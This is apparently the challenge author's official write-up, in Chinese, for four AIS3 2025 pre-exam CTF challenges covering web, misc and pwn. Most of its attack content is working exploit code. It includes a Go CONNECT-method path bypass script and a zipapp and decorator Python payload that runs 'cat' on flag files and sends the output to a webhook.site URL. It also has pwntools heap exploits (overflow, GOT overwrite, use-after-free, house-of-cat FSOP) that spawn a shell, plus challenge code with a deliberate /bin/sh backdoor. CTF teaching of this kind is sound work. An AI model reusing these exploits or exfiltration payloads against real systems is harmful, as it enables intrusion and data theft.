2025 AIS3 pre-exam & My First CTF official writeup

Author: 堇姬Naup

前言

這次在 AIS3 出了 4 題，分別是 1 web、1 misc、2 pwn
分別是

  • Tomorin db 🐧 (web, 282/473 solve)
  • ♖ PyWars ♖ (Misc, 1/473 solve)
  • MyGO schedule manager α (Pwn, 12/473 solve)
  • MyGO schedule manager β (Pwn, 0/473 solve)

source code :
https://github.com/Naupjjin/2025-AIS3-pre-exam-challenge

以下是這四題的官方題解

Tomorin db 🐧

把題目 source code 打開可以發現非常短

1
2
3
4
5
6
7
8
9
10
11
package main

import "net/http"

func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}

他建立了一個 File server
我們可以通過這個網站來去訪問 /app/Tomorin 底下的東西
去看這個目錄底下的檔案，除了三張圖片外，還有 flag
但是當我們嘗試去訪問 flag 時，會被第二個 route 阻擋，而被 Redirect
一開始想法可能會有像是 http://host/./flag、http//host/../flag

但是嘗試幾次後都會發現沒辦法拿到 flag
這時候應該會產生疑問，明明用 ./flag，為啥會訪問到 /flag 這個 route

這邊來看 source code
首先，通過 Dockerfile 知道版本是 1.23.1 所以看這份

當你發出 request 後，會進到 func Hnadler 之後他會去 call findHnadler

src/net/http/server.go#L2573C1-L2579C2

1
2
3
4
5
6
7
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {
	if use121 {
		return mux.mux121.findHandler(r)
	}
	h, p, _, _ := mux.findHandler(r)
	return h, p
}

call 進去後，這邊就可以分成兩種狀況了
Request method 是 CONNECT 跟不是 CONNECT

src/net/http/server.go#L2585

如果不是 CONNECT 會進入到以下分支，這裡會去做 clean_path，把你輸入的 path 做正規化
這也就是為啥你輸入像是上述的，會導到 /flag 的原因

cleanpath docs
cleanpath source code

1
2
3
4
5
6
7
8
} else {
	// All other requests have any port stripped and path cleaned
	// before passing to mux.handler.
	host = stripHostPort(r.Host)
	path = cleanPath(path)

	// If the given path is /tree and its handler is not registered,
	// redirect for /tree/.

所以當我們用 CONNECT 請求就不會發生問題
因為 CONNECT 沒有去做 clean_path

1
2
3
4
5
6
7
8
9
10
11
if r.Method == "CONNECT" {
	// If r.URL.Path is /tree and its handler is not registered,
	// the /tree -> /tree/ redirect applies to CONNECT requests
	// but the path canonicalization does not.
	_, _, u := mux.matchOrRedirect(host, r.Method, path, r.URL)
	if u != nil {
		return RedirectHandler(u.String(), StatusMovedPermanently), u.Path, nil, nil
	}
	// Redo the match, this time with r.Host instead of r.URL.Host.
	// Pass a nil URL to skip the trailing-slash redirect logic.
	n, matches, _ = mux.matchOrRedirect(r.Host, r.Method, path, nil)

如果不想看 source code 也沒關係，因為這件事實質上有寫在官方文檔
docs

  • uintended : 這邊出現了一個 uintended 讓這題變得很簡單，就是用 http://host/.%2fflag，把 / 做 urlencode 就不會被 clean path 掉了

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import socket
import re

host = 'chals1.ais3.org'
port = 30000  
path = '/./flag'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

request = f"CONNECT {host}{path} HTTP/1.1\r\nHost: {host}\r\n\r\n"
s.sendall(request.encode())

response = s.recv(4096).decode(errors="ignore")

match = re.search(r'AIS3\{.*?\}', response)
if match:
    print("Flag found:", match.group())
else:
    print("Flag not found.")

Flag : AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

PyWars

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from flask import Flask, render_template, request, redirect, url_for
import os
import hashlib
import random
import string
import subprocess
app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    _, ext = os.path.splitext(filename)
    return ext.lower() == '.py'

def generate_random_hash():
    return hashlib.sha256(str(random.getrandbits(256)).encode()).hexdigest()
    
def clean_file_content(content: bytes) -> bytes:
    return content.translate(bytes.maketrans(b"()}{|?!^", b"        "))  

def check_token(content: bytes):
    if b"TomorinIsCuteAndILovePython" in content:
        return 0
    else:
        return 1

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file and allowed_file(file.filename):
        ext = file.filename.split('.', 1)[1].lower()
        random_hash = generate_random_hash()
        filename = os.path.join(app.config['UPLOAD_FOLDER'], f'main_{random_hash}.{ext}')
        file_content = file.read()
        if check_token(file_content):
            return f"Token not found!"
        clean_content = clean_file_content(file_content)

        with open(filename, 'wb') as f:
            f.write(b'exit()\n')
            f.write(clean_content)

        try:
            result = subprocess.run(
                ['python3', filename],
                capture_output=True, 
                text=True,          
                timeout=10    
            )

            print(result.stdout)  
            if result.stderr:
                print(result.stderr) 

            return f'Success Execute! But if you don\'t get flag...You Lose...'

        except subprocess.TimeoutExpired as e:
            return f'Timeout Error! You Lose ... '
        except Exception as e:
            return f"Something went wrong! You Lose"

    return 'Your file is not \'.py\'.'

if __name__ == '__main__':
    app.run(host="0.0.0.0",port="10000",debug=False)

一樣有給 source code 所以來分析
他是一個檔案上傳的 website
根據 source code 可以看到他會把你輸入的 source code 前面加上 exit()\n
包起來拿去執行
所以這題的目標是要繞過前面加入的 exit(0) 並拿到 python 任意執行
另外這題還會去 check 你的檔案中是否存在 TomorinIsCuteAndILovePython
以及去替換掉你檔案中的特殊字元成空白

首先先看如何繞過 exit()
去看 python 官方文檔可以發現
https://docs.python.org/3.14/library/zipapp.html
有一個檔案叫做 pyz，其實就是 zip
一個 python 檔案，如果包成 pyz 仍舊可以被 python3 <.pyz> 的方法來執行
因為它是一個 zip 所以前面會存在一些 magic number 等 header

1
2
00000000: 504b 0304 1400 0000 0000 9753 7f5a dc1b  PK.........S.Z..
00000010: 5faa 2e02 0000 2e02 0000 0b00 0000 5f5f  _.............__

我們在這前面加上一些無關的 bytes 仍舊可以正常執行他
所以說 exit() 會被加到 header 前面
這樣就可以通過上傳 .pyz 來繞過他了

另外無論你的副檔名是啥只要結構是 zip 就可以正常去執行，所以副檔名改為 .pyz.py 就可以上傳他了

把 script 寫在 script/__main__.py 裡面，並包起來就可以了

最後過濾的字元沒有過濾裝飾器，所以通過裝飾器就可以繞過他的字元過濾了
因為前端不回顯，所以就寫個 request 把 flag 送出來

PS: 另外這題有蠻多套件沒有安裝的，不過應該還是可以找的到 urllib.request 這個可以用來執行 request

另外這題其實有一些線索可以找到 .pyz
就是前端有寫一個允許上傳的有 .pyo、.pyc
順著去找 python 還有哪些神奇的檔案格式就可以找到 .pyz 了

exploit

run.sh

1
2
python3 -m zipapp script
mv script.pyz script.pyz.py

script/__main__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from os import popen
from urllib.request import urlopen

token = "TomorinIsCuteAndILovePython" 
url = "https://webhook.site/111d99e4-8095-4b6a-bf04-e4a79209bce2/"

cmd2 = lambda a: "cat /app/flags/flag*"
func2 = lambda f: [x[:-1] for x in f][0]

@func2
@popen
@cmd2
class flag:pass

flagurl = url + flag
urls = lambda f: flagurl

@urlopen
@urls
class requestf:pass

Flag : AIS3{Success!!!!!_y0u_are_M6s73r_0f_python@z1p_1s_c00l…and_dec0rat0r_1s_c00l!}

MyGO schedule manager α

一樣有給 source code 先看 code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#include <iostream>
#include <vector>
#include <string>
#include <cstring> 
#include <cstdlib>

// g++ chal.cpp -o chal -no-pie -z relro -z now -s

struct schedule{
    char title[0x16];
    std::string content;
};

int SCHEDULE_STATUS = 0;
schedule* sched = nullptr;

void init_proc(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    std::cin.rdbuf()->pubsetbuf(nullptr, 0);
    std::cout.rdbuf()->pubsetbuf(nullptr, 0);
    
    puts("+======= alpha ========+");
    puts("| Band schedule system |");
    puts("+======================+");
    
}

void debug_backdoor(){
    system("/bin/sh");
}

void menu(){
    puts("+======================+");
    puts("| (1) create schedule  |");
    puts("| (2) edit title       |");
    puts("| (3) edit content     |");
    puts("| (4) show schedule    |");
    puts("+======================+");
    printf("< MyGO @ ScheduleManager $ > ");
}

int get_choice(){
    int choice;
    scanf("%d", &choice);
    return choice;
}

void create(){
    if(SCHEDULE_STATUS == 0){
        sched = new(std::nothrow) schedule;
        if (sched == nullptr) {
            puts("[x] Memory allocation failed!");
            exit(0);
        }
        
        puts("MyGO @ sched title > ");
        std::cin >> sched->title;
        puts("MyGO @ sched content > ");
        std::cin >> sched->content;
        
        SCHEDULE_STATUS = 1;

        puts("[!] Create Success !!!");
    } else {
        puts("[x] Your schedule have been created");
        return;
    }
}

void edit_title(){
    if (SCHEDULE_STATUS == 1){
        puts("MyGO @ sched title > ");
        std::cin >> sched->title;
        puts("[!] Edit Success");
    } else {
        puts("[x] Schdule Not Found ... ");
        return;
    } 
}

void edit_content(){
    if (SCHEDULE_STATUS == 1){
        puts("MyGO @ sched content > ");
        std::cin >> sched->content;
        puts("[!] Edit Success");
    } else {
        puts("[x] Schdule Not Found ... ");
        return;
    } 
}

void show(){
    if (SCHEDULE_STATUS == 1){
        printf("===== Schedule =====\n");
        printf("MyGO @ Title : %15s\n", sched -> title);
        printf("MyGO @ Content : %s\n", sched -> content.c_str());
        printf("====================\n");
    } else {
        puts("[x] Schdule Not Found ... ");
        return;
    }
}

void login(){
    char username[0x10];  
    char password[0x10]; 
    
    printf("Username > ");
    scanf("%15s", username);

    printf("Password > ");
    scanf("%15s", password);
    
    if (strcmp(username, "MyGO!!!!!") == 0 && strcmp(password, "TomorinIsCute") == 0){
        puts("\033[34m");
        puts("=========================================");
        puts("                  ____    _____      ");  
        puts(" /'\\_/`\\         /\\  _`\\ /\\  __`\\    ");  
        puts("/\\      \\  __  __\\ \\ \\L\\_\\ \\ \\/\\ \\   ");  
        puts("\\ \\ \\__\\ \\/\\ \\/\\ \\\\ \\ \\L_L\\ \\ \\ \\ \\  ");  
        puts(" \\ \\ \\_/\\ \\ \\ \\_\\ \\\\ \\ \\/, \\ \\ \\_\\ \\ ");  
        puts("  \\ \\_\\\\ \\_\\/`____ \\\\ \\____/\\ \\_____\\");  
        puts("   \\/_/ \\/_/`/___/> \\\\/___/  \\/_____/");  
        puts("               /\\___/                 ");  
        puts("               \\/__/                  ");  
        puts("=========================================");
        puts("\033[0m");
        puts("[!] This is a system that can manage your band schedule.");
        return;
    } else {
        puts("[x] Verify Failed");
        exit(0);
    }
}

int main()
{
    init_proc();
    
    int choice;
    int index;
    
    login();
    
    while(1){
        menu();
        choice = get_choice();
        if (choice == 1){
            create();
        } else if (choice == 2){
            edit_title();
        } else if (choice == 3){
            edit_content();
        } else if (choice == 4){
            show();
        } else {
            break;
        }
        
    }
    return 0;
}

一開始會要求你輸入帳號密碼
寫死的就直接輸入就好了

之後他會提供你四種功能，供你去操作 schedule
schedule 是個 struct，分成第一部份的 title 跟第二步份的 content
一個是有限大小的 title (0x16)
另一個是 std string

漏洞點很明顯，create 跟 edit 都直接用 cin 輸入一個東西
cin 沒有限制長度所以可以 overflow

我們知道 std string 是一個長這樣的 struct

offset description
0x0 data’s pointer
0x8 vector size
0x10 vector capacity
0x18 unused padding or alignment space

他會根據 0x0 的 pointer 去往那上面寫入東西(通常這塊是個 heap，需要擴容就重新 malloc，並指向新的 chunk)

總之因為有 overflow 可以改 pointer
這樣就可以製造一個任意讀、任意寫了
通過這個任意讀可以 leak libc base

因為開 FULL RELRO 的關係，沒辦法改寫 GOT (chal 本身的 GOT) 成 backdoor
所以改寫 libc 上的 GOT (libc 開 partial RELRO)，跳到 backdoor 上拿 shell

  • IO_FILE 去開 shell
  • 讀 environ 去 leak stack address，來去寫 return address

等都是預期可行的解法，這題拿到任意讀寫後就有很多解法了

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

### This is a CTF pwn templates make by Naup

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./chal')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc 127.0.0.1 51000")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
    p(r)

### heap IO

def login():
    sla(b"Username > ", b"MyGO!!!!!")
    sla(b"Password > ", b"TomorinIsCute")

def create(title, ctx):
    sla(b"< MyGO @ ScheduleManager $ > ", b"1")
    sla(b"MyGO @ sched title > \n", title)
    sla(b"MyGO @ sched content > \n", ctx)

def edit_title(title):
    sla(b"< MyGO @ ScheduleManager $ > ", b"2")
    sla(b"MyGO @ sched title > \n", title)

def edit_content(ctx):
    sla(b"< MyGO @ ScheduleManager $ > ", b"3")
    sla(b"MyGO @ sched content > \n", ctx)

def show():
    sla(b"< MyGO @ ScheduleManager $ > ", b"4")


### exploit

login()
got = 0x403fc8
backdoor = 0x4013ec

create(b"MyGO", b'MyGO')
edit_title(b"MyGO" * 6 + p64(got))

show()

rcu(b"MyGO @ Content : ")
leaklibc = u64(rcl().strip().ljust(8, b"\x00"))

libcbase = leaklibc - 0x2e80e0
ABS_GOT = libcbase + 0x21a098

edit_title(b"MyGO" * 6 + p64(ABS_GOT))
edit_content(p64(backdoor))

NAUPINFO("LEAKLIBC", hex(leaklibc))
NAUPINFO("LIBCBASE", hex(libcbase))
### interactive
ita()

Flag : AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken…Go_p1ay_b3ta!}

MyGO schedule manager β

analyze source code

這題沒給 source code，需要逆向，不過我寫 writeup 就直接看 source code
首先這題如果觀察 run.sh 會發現啟動時候用 LD_PRELOAD 去用 lib 底下的 libc

1
2
3
4
#!/bin/sh

exec 2>/dev/null
LD_PRELOAD=/home/chal/lib/libc.so.6 /home/chal/chal

這是一個 2.39 的 libc (Ubuntu GLIBC 2.39-0ubuntu8.3)
如果去檢查一下，會發現這個 libc 好像跟原版的 libc 不一樣
這邊用 bindiff 檢查哪裡不一樣後可以發現，只有一個 function 相似度是 0.99

唯一不一樣的地方是 jz 被 patch 成了 jnz

這個被 patch 的 function 應該蠻眼熟的，就是 house of cat 會用到的地方，到這邊我們先到這裡打住，之後會用到

接下來開始分析 source code 吧

1
2
3
4
5
int main() {
    ScheduleManager manager;
    manager.run();
    return 0;
}

他去創建了一個 schedule manager 的物件
之後 call run

construct 時候會做兩件事，一個是初始化 stdin stdout 等
之後去 call login

1
2
3
4
ScheduleManager() {
    init_proc();
    login();
}

跟上一題一樣這個 login 寫死的，直接登進去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void login() {
    char username[0x10];
    char password[0x10];

    printf("Username > ");
    scanf("%15s", username);

    printf("Password > ");
    scanf("%15s", password);

    if (strcmp(username, "MyGO!!!!!") == 0 && strcmp(password, "TomorinIsCute") == 0) {
        puts("\033[34m");
        puts("=========================================");
        puts("                  ____    _____      ");
        puts(" /'\\_/\\         /\\  _\\ /\\  __\\    ");
        puts("/\\      \\  __  __\\ \\ \\L\\_\\ \\ \\/\\ \\   ");
        puts("\\ \\ \\__\\ \\/\\ \\/\\ \\\\ \\ \\L_L\\ \\ \\ \\ \\  ");
        puts(" \\ \\ \\_/\\ \\ \\ \\_\\ \\\\ \\ \\/, \\ \\ \\_\\ \\ ");
        puts("  \\ \\_\\\\ \\_\\/____ \\\\ \\____/\\ \\_____\\");
        puts("   \\/_/ \\/_//___/> \\\\/___/  \\/_____/");
        puts("               /\\___/                 ");
        puts("               \\/__/                  ");
        puts("=========================================");
        puts("\033[0m");
        puts("[!] This is a system that can manage your band schedule.");
    } else {
        puts("[x] Verify Failed");
        exit(0);
    }
}

登入進去後他提供你四個功能

  • add
  • edit
  • delete
  • show

並且限制操作次數在 12 次內

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void run() {
    while (true) {
        menu();
        int choice = get_choice();
        ops_cnt++;
        if (ops_cnt >= 12) {
            puts("[x] Too many operations!");
            exit(0);
        }

        switch (choice) {
            case 1:
                add_schedule();
                break;
            case 2:
                edit_schedule(get_index());
                break;
            case 3:
                delete_schedule(get_index());
                break;
            case 4:
                show_schedule(get_index());
                break;
            default:
                printf("[!] Thanks ~ ");
                return;
        }
    }
}

這四個功能非常明顯，就不多贅述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void add_schedule() {
    if (schedule.capacity() >= SCHEDULE_MAX) {
        puts("[!] Schedule is full. Don't let Tomorin so tired...");
        return;
    }
    schedule.emplace_back(get_string("Input item > "));
    puts("[+] Add success!");
}

void edit_schedule(int index) {
    if (index < 0 || index >= (int)schedule.capacity()) {
        puts("[x] Schedule does not exist");
        return;
    }
    std::cin.ignore();
    printf("Edit item > ");
    std::getline(std::cin, schedule[index]);
    puts("[+] Edit success!");
}

void delete_schedule(int index) {
    if (index < 0 || index >= (int)schedule.capacity()) {
        puts("[x] Schedule does not exist");
        return;
    }
    schedule.erase(schedule.begin() + index);
    puts("[-] Delete success!");
}

void show_schedule(int index) {
    if (index < 0 || index >= (int)schedule.capacity()) {
        puts("[x] Schedule does not exist");
        return;
    }
    std::cout << "Index [" << index << "] is " << schedule[index] << std::endl;
}

前置知識 std::string & std::vector

std::vector

offset description
0x0 第一個元素的 pointer
0x8 vector 結尾的 pointer
0x10 array capacity 上限的 pointer

std::string

offset description
0x0 資料所在位置 pointer
0x8 vector size
0x10 vector capacity
0x18 存資料或單純 padding

另外我們知道 vector 可以一直往裡面塞 elemet
當我們初始化一個 vector，他會根據二的冪次來擴容 (capacity)
$2^n, n \in { 0, 1, 2, 3, \dots }$

舉個例子，當現在已經存了兩個元素，當再 push 一個元素進去後，他會觸發擴容
把原本的 capacity 從 2 擴成 4
他會把原本存的 vector 那塊 chunk free 掉重新 malloc 一塊新的回來用

analyze bug

先建立對於 std::vector<std::string> schedule; 長相的認知
stack 上會有一個 vector 結構體，上面有 pointer 指向 vector 存 element 的 chunk，這個 chunk 上會有 std::string 的結構體
每個 std::string 又會對應一塊 chunk 存 data

看完 source code 後，應該可以發現一件事
他判斷 vector 的大小居然不是使用 .size 而是使用 (int)schedule.capacity()
我們知道 size 是一個 vector 當前有的元素數量
而 capacity 是一個 vector 當前容量，也就是可以存多少個

所以這邊就有一個 out of boundary 的問題
首先我們先輸入一個 0x500 大小的 chunk 跟一個 0x10 的 chunk (這邊有個認知，把輸入的長度當作是 malloc chunk size 來看)
一個用來進到 unsorted bin 用來 leaklibc 一個用來防止被合併到 top chunk
之後去 delete 掉第二塊，再去 delete 第一塊
通過 show 來去把 libc leak 出來

erase 不會去把原來的 pointer 清掉，所以也有 UAF 的問題

1
2
3
4
5
6
7
8
iterator erase(iterator position){
    if(position + 1 != end()){
        copy(position+1,finish,position);
}
    --finish;
    destroy(finish);
    return position;
}

接下來我們用 add 送出一塊這個，並把他 free 掉
這是一個 vector 中 std::string element = 4
我們把最後一項 (第四項) 改成了 IO stderr 的 File structure (這裡可以改成其他 libc address，這在之後就是你想要任意寫的地方)

1
2
3
4
payload1  = p64(0xaabbccdd) + p64(0) + p64(0) + p64(0)
payload1 += p64(0xaabbccdd) + p64(0) + p64(0) + p64(0)
payload1 += p64(0xaabbccdd) + p64(0) + p64(0) + p64(0)
payload1 += p64(IO_STDERR) + p64(0x1d0) + p64(0x1d0) + p64(0)

之後去 add 兩次
當我們 add 第三次時候，會去觸發擴容，他 malloc 時候會剛好把這塊 malloc 回來
前三個元素會被搬過來寫掉，但是最後一個元素並不會被覆蓋，殘留在了 vector chunk 上
又剛好現在 capacity = 4，所以可以 access 到這塊
我們就拿到了一個 libc 任意寫

既然是 glibc 2.39，要打 FSOP 就可以用 house of cat 了 (把要偽造的都寫在 stderr 本身內就可以了)

house of cat 簡單來說就是雖然有針對 vtable 的 pointer 去做 check 了
但他仍舊只是 check 一定的範圍內而已，我們可以把原有的 vtable 改動，來讓最後去 flush 時候 call 到預期之外的函數
他是用 IO_WFILE_JUMPS 上的 _IO_wfile_seekoff
這裡需要堆一些條件，這邊自行看 code
之後去 call _IO_switch_to_wget_mode

這塊的 asm 長這樣

1
2
3
4
5
6
7
8
9
10
11
12
13
0x76063da71fa0 <__GI__IO_switch_to_wget_mode>:	endbr64
0x76063da71fa4 <__GI__IO_switch_to_wget_mode+4>:	push   rbp
0x76063da71fa5 <__GI__IO_switch_to_wget_mode+5>:	mov    rbp,rsp
0x76063da71fa8 <__GI__IO_switch_to_wget_mode+8>:	push   rbx
0x76063da71fa9 <__GI__IO_switch_to_wget_mode+9>:	mov    rbx,rdi
0x76063da71fac <__GI__IO_switch_to_wget_mode+12>:	sub    rsp,0x8
0x76063da71fb0 <__GI__IO_switch_to_wget_mode+16>:	mov    rax,QWORD PTR [rdi+0xa0]
0x76063da71fb7 <__GI__IO_switch_to_wget_mode+23>:	mov    rdx,QWORD PTR [rax+0x20]
0x76063da71fbb <__GI__IO_switch_to_wget_mode+27>:	cmp    QWORD PTR [rax+0x18],rdx
0x76063da71fbf <__GI__IO_switch_to_wget_mode+31>:	jae    0x76063da71fe0 <__GI__IO_switch_to_wget_mode+64>
0x76063da71fc1 <__GI__IO_switch_to_wget_mode+33>:	mov    rax,QWORD PTR [rax+0xe0]
0x76063da71fc8 <__GI__IO_switch_to_wget_mode+40>:	mov    esi,0xffffffff
0x76063da71fcd <__GI__IO_switch_to_wget_mode+45>:	call   QWORD PTR [rax+0x18]

這塊其實做了不少事情，首先 rdi 是傳進來的 IO_FILE struct address

  • 將 [rdi+0xa0] 值給 rax (簡稱為 rax1)
  • 將 [rax1+0x20] 值給 rdx
  • 將 [rax1+0xe0] 值給 rax (簡稱為 rax2)
  • 之後去 call [rax2+0x18]

看到這裡其實 RCE 的雛型已經出來了
如果我們將 [rax2+0x18] 設為 system address
fp 的開頭設為 /bin/sh 就可以 call 到 system("/bin/sh")

至於這些值是甚麼就交給各位自行看 code 了

圖示

https://docs.google.com/presentation/d/1PzmbYHiOAH23bij5KFjEc6LPUYO9WVhSm8--6QlusDc/edit?usp=sharing

exploit

最後直接上 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

#### This is a CTF pwn templates make by Naup

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
    r=process('./chal')
    debug_init()
    
else:                                           
    REMOTE_INFO=split_nc("nc 127.0.0.1 51001")

    REMOTE_IP=REMOTE_INFO[0]
    REMOTE_PORT=int(REMOTE_INFO[1])

    r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
    p(r)

### heap IO
def login():
    sla(b"Username > ", b"MyGO!!!!!")
    sla(b"Password > ", b"TomorinIsCute")

def add(item):
    sla(b"< MyGO @ ScheduleManager $ > ", b"1")
    sla(b"Input item > ", item)

def edit(idx, item):
    sla(b"< MyGO @ ScheduleManager $ > ", b"2")
    sla(b"Index > ", str(idx).encode())
    sla(b"Edit item > ", item)

def delete(idx):
    sla(b"< MyGO @ ScheduleManager $ > ", b"3")
    sla(b"Index > ", str(idx).encode())

def show(idx):
    sla(b"< MyGO @ ScheduleManager $ > ", b"4")
    sla(b"Index > ", str(idx).encode())

def exitf():
    sla(b"< MyGO @ ScheduleManager $ > ", b"5")

### exploit

login()
add(b"a" * 0x500)
add(b"b" * 0x10)
delete(1)
delete(0)

show(0)
r.recvuntil(b'] is ')
leaklibc = (u64(r.recvline().strip()[:6].ljust(8,b'\x00')) << 8 ) + 0x20
libcbase = leaklibc - 0x203b20


IO_STDERR = libcbase + 0x2044e0
libc_system = libcbase + 0x58740

payload1  = p64(0xaabbccdd) + p64(0) + p64(0) + p64(0)
payload1 += p64(0xaabbccdd) + p64(0) + p64(0) + p64(0)
payload1 += p64(0xaabbccdd) + p64(0) + p64(0) + p64(0)
payload1 += p64(IO_STDERR) + p64(0x1d0) + p64(0x1d0) + p64(0)

add(payload1)
delete(0)

add(b'Tomorin')
add(b'Soyorin')
add(b'Rana')

libc_IO_wfile_jumps = libcbase + 0x202228
emptylibc = libcbase + 0x204bc0
fakew_data = IO_STDERR
fake_wow = IO_STDERR + 0x18

payload2  = b"sh;".ljust(8, b"\x00") # _flags

payload2  = payload2.ljust(0x20, b"\x00")
payload2 += p64(1)
payload2  = payload2.ljust(0x30, b"\x00")
payload2 += p64(libc_system)
payload2  = payload2.ljust(0x70, b"\x00")
payload2 += p32(2)
payload2  = payload2.ljust(0x78, b"\x00")
payload2 += p64(0xffffffffffffffff)
payload2  = payload2.ljust(0x88, b"\x00")
payload2 += p64(emptylibc) + p64(0xffffffffffffffff)
payload2  = payload2.ljust(0xa0, b"\x00")
payload2 += p64(fakew_data) 
payload2  = payload2.ljust(0xc0, b"\x00")
payload2 += p32(1)
payload2  = payload2.ljust(0xd8, b"\x00")
payload2 += p64(libc_IO_wfile_jumps + 0x30) + p64(fake_wow)

edit(3, payload2)

sl(b"5")

NAUPINFO("LEAKLIBC", hex(leaklibc))
NAUPINFO("LIBCBASE", hex(libcbase))
NAUPINFO('STD ERROR', hex(IO_STDERR))
### interactive
ita()

Flag : AIS3{MyGO!!!!!_is_A_G0od_band_6nd@u_a2r_Mas7er_of_cplusplus_he6p!_beta_v3r2on_have_br0ken!!!_T0m0r1n_1s_cut3_and_hous3_0f_cat_1s_als0_cut3!!!}

all hint

btw，這題釋出超多 hint 的，這邊是所有 hint

  • hint 1 : 我昨晚在睡覺的時候，樂奈不小心按到鍵盤把我的 github repo 公開了QQ
    https://github.com/Naupjjin/MyGO-schedule-manager-beta-Hint
  • hint 2 : There seems to be a new issue with the software. It appears to be a bug, but why?
    Don’t tell me Rana accidentally pressed something again while coding?(X
    https://github.com/Naupjjin/MyGO-schedule-manager-beta-Hint/issues/2
  • hint 3 : New issue on my github repo. It has some cool knowledge and question.
    https://github.com/Naupjjin/MyGO-schedule-manager-beta-Hint/issues/4
    https://github.com/Naupjjin/MyGO-schedule-manager-beta-Hint/issues/5
  • hint 4 : 他為啥要叫 beta 就代表跟 alpha 有點關係吧
  • hint 5 :
    • GDB is your good friend . Use GDB to dynamically analyze the relationships between each chunk.
    • Bindiff can use to analyze libc patch
  • hint 6 :
    • 想一下 std::vector<std::string> 在 heap 上到底長怎麼樣，建議畫圖出來,
    • exploit 的時候一定會缺甚麼，請回去看先前的 hint，缺甚麼就自己造
  • hint 7 : Cat is cute. Rana is cute. 🐱 is also cute. Can you help them build a house?
  • hint 8 :
    • 殘留、殘留、殘留，很重要所以說三次，沒有殘留就自己做出殘留
